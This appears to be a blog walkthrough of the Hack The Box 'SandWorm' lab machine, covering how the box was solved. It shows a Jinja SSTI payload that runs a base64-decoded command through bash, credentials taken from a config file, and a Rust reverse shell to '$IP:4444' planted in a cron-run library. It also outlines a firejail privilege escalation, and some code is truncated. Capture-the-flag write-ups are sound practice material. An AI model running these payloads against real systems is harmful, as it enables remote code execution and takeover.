SandWorm HTB Walkthrough


In this walkthrough , I’m going to explain how I pwned this medium box . This is very interesting box . Let’s start 🙂



In the Nmap scan we found that there are three ports open ( Port 22, 80, 443)

Basically SSH and HTTP and HTTPS

Adding IP

While visiting the IP we see that we have to add ssa.htb to our /etc/hosts file .


Directory Enum

I found many interesting directories

Let’s start enumerating

I have tried many things after few research I found that it is vulnerable to SSTI.

First generate pgp keys

// First 
gpg --gen-key

Here username will be our SSTI payload 
// Second 
gpg --armor --export test@t.t
// Third 
echo "aa a" | gpg --clear-sign -u test@t.t

Now go to /guide and look at the verify signature section

Enter your public key and signed text

Now verify the signature

You can see our SSTI is successful .

Now lets enter our payload to get shell

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo $PAYLOAD_IN_B64 | base64 -d | bash').read() }}

After executing this we will get our cmd executed


Now we are atlas user , in ~/.config/httpie/sessions/localhost_5000 I found the creds for silentobserver

Now SSH as Silentobserver



And read user.txt


Root is pretty interesting 🙂

In the /opt repo I found intresting dir

After running pspy I found that /opt/crates/logger/src/ is running after every few min

I have done few research and found the solution

//Just put the below code in

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    let sock = TcpStream::connect("$IP:4444").unwrap();

    // a tcp socket as a raw file descriptor
    // a file descriptor is the number that uniquely identifies an open file in a computer's operating system
    // When a program asks to open a file/other resource (network socket, etc.) the kernel:
    //     1. Grants access
    //     2. Creates an entry in the global file table
    //     3. Provides the software with the location of that entry (file descriptor)
    let fd = sock.as_raw_fd();
    // so basically, writing to a tcp socket is just like writing something to a file!
    // the main difference being that there is a client over the network reading the file at the same time!

        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })

Start the listner and you will get the shell

New group id is assigned to us 1002(jailer)

There is a firejail vulnerabilty

use this and give it permission as silentobserver

Now get 2 shell of atlas user with jailer group assigned

// In first shell, RUN


//In second shell, RUN

firejail --join=$ID    
su -

Make sure you upgrade the shell before this

Second shell

GG now you are root ! 🙂


This is very fun box ! Hope you enjoyed the writeup 🙂

Overall I would like to rate this box 8/10.

Jai Shree Krishna ❤️

Ads Blocker Image Powered by Code Help Pro

Ads Blocker Detected!!!

We have detected that you are using extensions or brave browser to block ads. Please support us by disabling these ads blocker.Our website is made possible by displaying Ads hope you whitelist our site. We use very minimal Ads in our site


Scroll to Top